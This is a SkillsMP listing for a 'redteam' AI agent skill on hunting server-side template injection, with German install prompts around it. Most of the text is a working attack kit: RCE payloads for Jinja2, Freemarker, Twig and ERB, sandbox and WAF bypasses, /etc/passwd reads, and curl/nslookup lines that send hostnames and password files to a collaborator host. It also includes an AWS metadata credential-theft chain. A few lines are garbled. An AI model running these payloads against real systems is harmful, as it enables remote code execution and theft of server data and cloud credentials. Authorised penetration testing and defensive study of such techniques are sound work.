Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.
version
1.1.0
revision_date
"2026-07-25T00:00:00.000Z"
license
MIT
category
redteam
tags
["ssti","hunt","redteam"]
When to Use
Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.
Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.
Quick Reference
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)${7*7}# 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2
Step-by-Step Hunting Methodology
Phase 1 — Detection & Fingerprinting
Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.
Send polyglot probe — Submit {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7} in each candidate field. Look for 49 in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping.
Engine fingerprinting — Once SSTI is confirmed, determine the engine:
${7*7} in header/cookie context → Spring Boot with sensitive properties via ${user.name}
Error-reveal technique — Submit an intentionally malformed expression ({{badger without closing braces) — the error message often reveals the engine name, framework version, and file paths.
Context analysis — Determine if the injection is in HTML context, attribute context, JavaScript context, or blind (only the output is used, not reflected).
Phase 2 — Escalation to RCE
Once the engine is fingerprinted, escalate using engine-specific RCE payloads:
Jinja2 (Python/Flask/Django):
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}
# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}
Email template editors, CMS page builders, PDF generation services
Common Root Causes
Trusting user input in template contexts — Developers pass user-controlled strings into render_template_string() (Flask), Template() (Jinja2), $twig->render() (Symfony), or str.format() with template syntax without sandboxing.
Email template rendering — Order confirmations, password resets, welcome emails that interpolate user name/input into templates before sending. The SSTI is blind (emailed to user, not reflected in browser), making it harder to detect but equally exploitable.
CMS preview/page builder features — Drag-and-drop page builders that store template fragments and render them server-side. The preview endpoint is often the SSTI sink.
Inline translation systems — Rails t() helper with interpolation: t('welcome', name: user_input) marks translation strings as HTML-safe by default, enabling SSTI through locale keys.
Error pages reflecting input — 404 handlers that echo the path into a template, 500 error pages showing the error message in a template.
Developer debug endpoints — /render, /template-test, /email-preview left enabled in production.
Defense: Sandboxed template engine
Bypass: Sandbox restrictions are often engine-specific and incomplete. For Jinja2 SandboxedEnvironment, try {{lipsum.__globals__}} — the lipsum function is accessible in the default globals. For Twig sandbox, try {{_self.env.registerUndefinedFilterCallback("exec")}}.
Defense: Output filtering / HTML encoding
Bypass: SSTI evaluation happens BEFORE HTML encoding — the expression result 49 appears even if the page escapes HTML. Use OOB/DNS callbacks for blind execution confirmation.
Defense: WAF blocking SSTI patterns
Bypass: Use alternative RCE payloads — Jinja2 {% print(...) %} instead of {{ ... }}, Freemarker <#assign> instead of ${ ... }, or split payloads across parameters.
Defense: Length limits on input
Bypass: Use short payload primitives — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} is ~50 chars. For longer chains, use POST bodies instead of GET parameters.
Real Examples
Scenario A — Email Template SSTI → RCE (E-commerce Platform)
A major e-commerce platform's order confirmation email included the customer's name in a server-rendered Jinja2 template. The attacker registered with a username containing {{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostname)').read()}}. When the order confirmation was generated and emailed, the template engine evaluated the expression — executing the system command and sending the hostname to the attacker's collaborator. Impact: RCE on the email rendering server, which had access to the full customer database and order processing pipeline.
Scenario B — CMS Page Builder SSTI (Freemarker → RCE)
A Java-based CMS allowed editors with limited privileges to preview page templates. The Freemarker template engine was configured to allow ${ ... } expressions in template fragments. An editor crafted a template snippet containing <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}, which executed when the preview was rendered. Impact: privilege escalation from editor to OS-level RCE on the CMS application server.
Scenario C — PDF Generator SSTI (Blind ERB → RCE)
A Ruby on Rails application generated PDF invoices using a server-side template. The invoice included the customer's name and address. An attacker submitted an address with <%= system("curl -F 'data=@/etc/passwd' http://COLLAB/exfil") %>. When the PDF was generated, the ERB template executed the command, exfiltrating the server's password file. Impact: full server compromise via a blind SSTI in the PDF generation pipeline.
Phase 5 — Engine Fingerprint Table
Use differential probes on math expressions to identify the template engine before attempting RCE:
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
SSTI without code execution — {{7*7}} returning 49 proves template injection. Need to escalate to code execution (RCE) or file read for impact.
Sandboxed template engines — Jinja2 sandbox, Twig sandbox, etc. require specific bypass techniques. Don't assume unsandboxed execution.
Template engine misidentification — Jinja2 vs Twig vs Freemarker have different syntax. {{7*7}} works on multiple engines. Fingerprint first.
Blind SSTI — if output is not reflected, use time-based or OOB techniques. {% import os %}{{os.popen('sleep 10').read()}} for blind RCE.
Related Skills
hunt-rce — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
hunt-xss — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same {{7*7}} reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject <script> into rendered email template → stored XSS hitting every recipient who views the message.
hunt-ssrf — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig {{ include('http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/') }} or Jinja2 with url_for/custom filters → AWS metadata exfil → cloud creds.
hunt-file-upload — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose word/document.xml contains ${T(java.lang.Runtime).getRuntime().exec("id")} to a Velocity/Freemarker-driven mail-merge → RCE.
security-arsenal — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (__subclasses__()[N] index hunting), Twig _self.env registerUndefinedFilterCallback, Freemarker ?new() Execute, ERB backticks, Velocity $class.inspect, Smarty {php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes, {%print(...)%}).
triage-validation — Apply the Pre-Severity Gate before claiming Critical RCE. A {{7*7}} → 49 reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove id/OOB DNS callback with a unique marker before writing the report.
